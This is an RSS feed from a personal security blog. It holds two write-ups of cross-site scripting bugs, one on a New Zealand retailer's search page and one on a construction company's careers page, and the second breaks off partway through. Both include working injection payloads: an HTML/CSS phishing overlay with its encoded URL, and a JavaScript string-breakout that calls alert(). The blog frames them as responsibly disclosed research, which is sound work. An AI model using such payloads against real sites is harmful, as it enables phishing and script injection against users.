<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Jesse Hacks NZ</title><link>https://jesse.hacks.nz/</link><description>Recent content on Jesse Hacks NZ</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 29 Jul 2024 19:30:00 +1200</lastBuildDate><atom:link href="https://jesse.hacks.nz/index.xml" rel="self" type="application/rss+xml"/><item><title>Congratulations! You've Won?</title><link>https://jesse.hacks.nz/p/congratulations-youve-won/</link><pubDate>Mon, 29 Jul 2024 19:30:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/congratulations-youve-won/</guid><description>&lt;img src="https://jesse.hacks.nz/p/congratulations-youve-won/giorgio-trovato-_XTY6lD8jgM-unsplash.jpg" alt="Featured image of post Congratulations! You've Won?" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>After taking a break for a while to work on other projects, I realised that I still had a couple of articles ready to publish that were waiting for issues to be fixed.
This one took a little while but the issue is now patched and no longer exploitable.&lt;/p>
&lt;p>What do you get when you allow the users of your website to change how the website looks in a fundamental way?
That&amp;rsquo;s right, this post is all about our old friend, &lt;a class="link" href="https://jesse.hacks.nz/tags/xss/" >cross-site scripting&lt;/a>.
If you&amp;rsquo;re getting tired of reading about this kind of issue, I don&amp;rsquo;t blame you!
XSS is a common vulnerability but it&amp;rsquo;s not often exploitable and can require a great deal of creativity or other vulnerabilities for it to be useful to an attacker.&lt;/p>
&lt;p>Anyway, today&amp;rsquo;s post is all about a bug in the search bar of a popular New Zealand retailer.
I&amp;rsquo;ll also demonstrate how this bug &lt;em>could&lt;/em> have been used to trick users into offering up their personal information.&lt;/p>
&lt;h2 id="the-search-bar">The Search Bar
&lt;/h2>&lt;p>Like all retail websites, users can search for products using a search bar.
In the case of this particular website, when searching for a product your search term will be echoed back to your browser with a preview of the top matches:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/search-preview.png">&lt;figcaption>
&lt;h4>A regular search term showing a popup window with search results.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>From a UX standpoint, this is a really nice feature as it allows a user to preview the kind of results they would get if they were to submit the form.&lt;/p>
&lt;h3 id="xss-via-the-search-preview">XSS via the Search Preview
&lt;/h3>&lt;p>However, the implementation of this feature contains a glaring error: the echoed search term in the preview window isn&amp;rsquo;t HTML-escaped.
We can see this when we type something like &lt;code>&amp;lt;em&amp;gt;123123123123&amp;lt;/em&amp;gt;&lt;/code> into the search bar and preview it:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/bad-preview.png">&lt;figcaption>
&lt;h4>The user&amp;#39;s search term is echoed back to them without being HTML-escaped.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>As you can see, the text is rendered italicised, which is an indication that the &lt;code>em&lt;/code> tag I wrapped by text in wasn&amp;rsquo;t escaped properly.
However, although we have an XSS bug, it wouldn&amp;rsquo;t really be possible for an attacker to use it for anything malicious since they would have to instruct the user to type the HTML snippet into the search bar.
I suspect that if they can get a user to do this, they likely have better methods of getting this user&amp;rsquo;s information.&lt;/p>
&lt;p>In short: this is a bit useless.&lt;/p>
&lt;h3 id="xss-via-the-search-results">XSS via the Search Results
&lt;/h3>&lt;p>Let&amp;rsquo;s continue with our investigation and see what happens when we submit the search term to view the results.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/initial-probing.png">&lt;figcaption>
&lt;h4>The user-supplied input is echoed back twice.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>We can see that the user&amp;rsquo;s search term is echoed twice in the search results: once escaped (green) and once not (red).
Not only is the search preview vulnerable but also the actual results page.
And unlike the other bug, this one is actually useful to an attacker because, as you will see later, we can share the URL containing our XSS with unsuspecting victims.&lt;/p>
&lt;h2 id="how-bad-could-it-be">How Bad Could It Be?
&lt;/h2>&lt;p>We know we can get &lt;code>em&lt;/code> tags rendering correctly and we can assume that other text tags will also work (&lt;code>h1&lt;/code>, &lt;code>strong&lt;/code>, and friends).
Let&amp;rsquo;s see what the limitations of this attack vector are by trying different kinds of HTML tags.&lt;/p>
&lt;h3 id="images">Images
&lt;/h3>&lt;p>One of the next tags I like to check to see if it works is the humble &lt;code>img&lt;/code> tag.
I like to check this early on because images can be an important springboard to getting scripts working if the system doesn&amp;rsquo;t block scripts properly.
And, as you&amp;rsquo;ve probably noticed from &lt;a class="link" href="https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/" >some&lt;/a> of my &lt;a class="link" href="https://jesse.hacks.nz/p/having-some-fun-with-xss/" >other&lt;/a> &lt;a class="link" href="https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/" >posts&lt;/a>, I have a favourite go to image saved as a bookmark in my browser.&lt;/p>
&lt;p>Let&amp;rsquo;s try and search for the image tag:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;https://i.kym-cdn.com/photos/images/original/000/581/296/c09.jpg&amp;#34;&lt;/span> &lt;span class="p">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/image-full.png">&lt;figcaption>
&lt;h4>Successfully injecting an image via the search form.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>What a fine fellow!
It&amp;rsquo;s encouraging to me that we can insert images into the page.&lt;/p>
&lt;h3 id="scripts">Scripts
&lt;/h3>&lt;p>The next step is to see if we can get JavaScript to execute on the returned page.
There are a number of reasons why this might be an important goal for an attacker:&lt;/p>
&lt;ul>
&lt;li>stealing the user&amp;rsquo;s cookies from the current session so an attacker can act as the user&lt;/li>
&lt;li>exfiltrating other user data to a 3rd-party website controlled by the attacker&lt;/li>
&lt;li>performing actions on the behalf of the user that they didn&amp;rsquo;t intend&lt;/li>
&lt;/ul>
&lt;p>The reason that a script can do all of these malicious things is that the web browser can&amp;rsquo;t tell an evil script from a good one.
If a script is being served from a website then the web browser will trust it.&lt;/p>
&lt;p>I tried several different methods of injecting JavaScript via the search bar, including:&lt;/p>
&lt;ul>
&lt;li>using a normal &lt;code>script&lt;/code> tag&lt;/li>
&lt;li>using an &lt;code>iframe&lt;/code> tag with a script inside it&lt;/li>
&lt;li>using an &lt;code>img&lt;/code> tag with an invalid &lt;code>src&lt;/code> attribute and an &lt;code>onerror&lt;/code> attribute with a script inside&lt;/li>
&lt;/ul>
&lt;p>Unfortunately for an attacker, but fortunately for the customers of this website, all my attempts were in vain.
The HTTP requests that my browser was sending were all blocked by a web application firewall (WAF) on the server.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/denied.png">&lt;figcaption>
&lt;h4>The plain page returned by the WAF.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>It appears that the denial comes from a system called Edgesuite which I believe is a WAF owned by Akamai.
Unlike Cloudflare&amp;rsquo;s WAF, I couldn’t find a way around Edgesuite.
That&amp;rsquo;s not to say that there isn&amp;rsquo;t a way around it, nor is this an endorsement of Edgesuite or WAFs in general; your software shouldn&amp;rsquo;t be vulnerable in the first place.&lt;/p>
&lt;p>With that in mind, if we&amp;rsquo;re going to get a user&amp;rsquo;s personal information, we&amp;rsquo;ll have to get a bit creative.&lt;/p>
&lt;h2 id="going-phishing">Going Phishing
&lt;/h2>&lt;p>Even though we can&amp;rsquo;t insert scripts into the search form, we can do pretty much anything else we like.
It also doesn’t appear as though there&amp;rsquo;s any limit to the number of characters that can be submitted into the search form.
Let&amp;rsquo;s use these properties of the XSS vulnerability to craft a convincing web page that brings the user to our malicious website.&lt;/p>
&lt;p>I&amp;rsquo;ve come up with the following HTML which does exactly this.
Currently, it just links to this blog but you could imagine that an attacker might link it to one of their websites that attempts to get information from the user.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;hacks&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>🎉 Congratulations 🎉&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h3&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>You have won our prize draw!&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h3&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">p&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Click &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">a&lt;/span> &lt;span class="na">href&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;https://jesse.hacks.nz&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>here&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">a&lt;/span>&lt;span class="p">&amp;gt;&lt;/span> to claim your prize!
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">p&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">style&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nc">error-custom-result-label&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="p">.&lt;/span>&lt;span class="nc">no-search-result-title&lt;/span>&lt;span class="o">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nc">breadcrumbs&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nc">row&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="p">.&lt;/span>&lt;span class="nc">error-custom-result-total&lt;/span>&lt;span class="o">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nc">main-search-container&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="p">.&lt;/span>&lt;span class="nc">search-guidelines&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">display&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">none&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nc">error-custom-result&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">font-size&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">#&lt;/span>&lt;span class="nn">hacks&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">font-size&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">inherit&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nc">error-custom-container&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">text-align&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">center&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">style&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>And if we paste that into the search bar, we get this:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/phishing.png">&lt;figcaption>
&lt;h4>A somewhat convincing phishing attempt that tries to get the user to follow a link to a different website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Because the search term is present in the URL of the resulting page, we can share this URL to anyone that we would like to phish.
If we were to share this URL with a victim, it would look something like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">https://www.website.co.nz/search?SearchTerm=%3Cdivid%3D%22hacks%22%3E%3Ch1%3E%F0%9F%8E%89Congratulations%F0%9F%8E%89%3C%2Fh1%3E%3Ch3%3EYouhavewonourprizedraw%21%3C%2Fh3%3E%3Cp%3EClick%3Cahref%3D%22https%3A%2F%2Fjesse.hacks.nz%22%3Ehere%3C%2Fa%3Etoclaimyourprize%21%3C%2Fp%3E%3Cstyle%3E.error-custom-result-label%2C.no-search-result-title%2C.breadcrumbs.row%2C.error-custom-result-total%2C.main-search-container%2C.search-guidelines%7Bdisplay%3Anone%3B%7D.error-custom-result%7Bfont-size%3A0%3B%7D%23hacks%7Bfont-size%3Ainherit%3B%7D.error-custom-container%7Btext-align%3Acenter%3B%7D%3C%2Fstyle%3E%3C%2Fdiv%3E
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>All in all, this is kind of bad.
It would take a bit of extra effort for a malicious actor to take advantage of a user but it would likely be worth it.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I discosed this vulnerability to the company in question via a contact form on their website on the 20th of April (ayyyy).
I didn&amp;rsquo;t get a response back from them.&lt;/p>
&lt;p>Four weeks later, on the 17th of May, I reached out to them again via the same contact form.
However, this time I mentioned that I would publish a blog post about it within the next week.
I heard back immediately that they would investigate and that if I could please hold off on the blog post while they fix it.
I agreed and didn&amp;rsquo;t publish the blog post.&lt;/p>
&lt;p>At some point over the next 2 months they managed to get this issue fixed because as of the 20th of July, the issue is no longer present.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/011/fixed.png">&lt;figcaption>
&lt;h4>The vulnerability has been fixed.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>As you can see, the search term is correctly HTML escaped, rendering the XSS vulnerability non-existent.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@giorgiotrovato?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Giorgio Trovato&lt;/a> on &lt;a href="https://unsplash.com/photos/yellow-and-white-trophy-_XTY6lD8jgM?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Constructing a Career in XSS</title><link>https://jesse.hacks.nz/p/constructing-a-career-in-xss/</link><pubDate>Fri, 31 May 2024 16:30:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/constructing-a-career-in-xss/</guid><description>&lt;img src="https://jesse.hacks.nz/p/constructing-a-career-in-xss/maarten-van-den-heuvel-yAsKqYbUQzY-unsplash.jpg" alt="Featured image of post Constructing a Career in XSS" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This week&amp;rsquo;s vulnerable website belongs to a large New Zealand construction company.
Specifically, the issue exists their careers website and we&amp;rsquo;ll see how it can be misused to potentially steal the information of its users.&lt;/p>
&lt;h2 id="the-happy-path">The Happy Path
&lt;/h2>&lt;p>Sometimes just searching through the page source for your search query can give you enough clues to try and figure out a way to break it.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/normal-search.png">&lt;figcaption>
&lt;h4>The careers website for this company.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Take the above careers website, for example: searching for &lt;code>123456789&lt;/code> and then viewing the source of the page we find that our search query is embedded in a JavaScript object which is, itself, embedded in a script tag.
I have shortened the script here since most of it isn&amp;rsquo;t relevant, the main point is that our search term has been placed in a string inside of an dictionary which is inside of another dictionary.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;googleParameters&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dataUrl&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="breaking-the-page">Breaking the Page
&lt;/h2>&lt;p>So, what would happen if we were put a double-quote at the end of our search term, e.g. &lt;code>123456789&amp;quot;&lt;/code>?
Well the page source now looks like the following:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;googleParameters&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dataUrl&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>&lt;span class="err">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The eagle-eyed reader will notice that this isn&amp;rsquo;t valid JSON, and it&amp;rsquo;s also not valid JavaScript either.
Because of this we get a bunch of errors on the page:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/javascript-errors.png">&lt;figcaption>
&lt;h4>The JavaScript errors caused by our search term changing the source code.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>We also get a page that doesn&amp;rsquo;t look quite right to the user.
That&amp;rsquo;s because some of the scripts don&amp;rsquo;t run because they encountered the syntax error that we introduced.
Presumably, these scripts are also in charge of laying out the page.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/with-double-quote.png">&lt;figcaption>
&lt;h4>This is what the user sees when we put a double quote inside our search term.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="getting-control">Getting Control
&lt;/h2>&lt;p>However, since we know we can inject arbitrary code into the page via the search term, we can fix the errors ourselves!
For example, we can search for &lt;code>123456789&amp;quot;}};twigConfig={...twigConfig, googleParameters:{dataUrl:&amp;quot;/123456789&lt;/code> and that fixes the syntax issues in the JavaScript while still retaining all the information in the &lt;code>twigConfig&lt;/code> variable.
This is what that would look like in the source code for the page (I&amp;rsquo;ve added indentation and newlines here to make it readable):&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;googleParameters&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dataUrl&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span>&lt;span class="nx">twigConfig&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">googleParameters&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">dataUrl&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>However, this allows us to now insert arbitrary JavaScript into the page:
for example, the following search term shows a popup.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">123456789&amp;#34;}};alert(&amp;#34;sup&amp;#34;);twigConfig={...twigConfig, googleParameters:{dataUrl:&amp;#34;/123456789
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/execution.png">
&lt;/figure>
&lt;p>When rendered (and after adding my own whitespace) this looks like:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
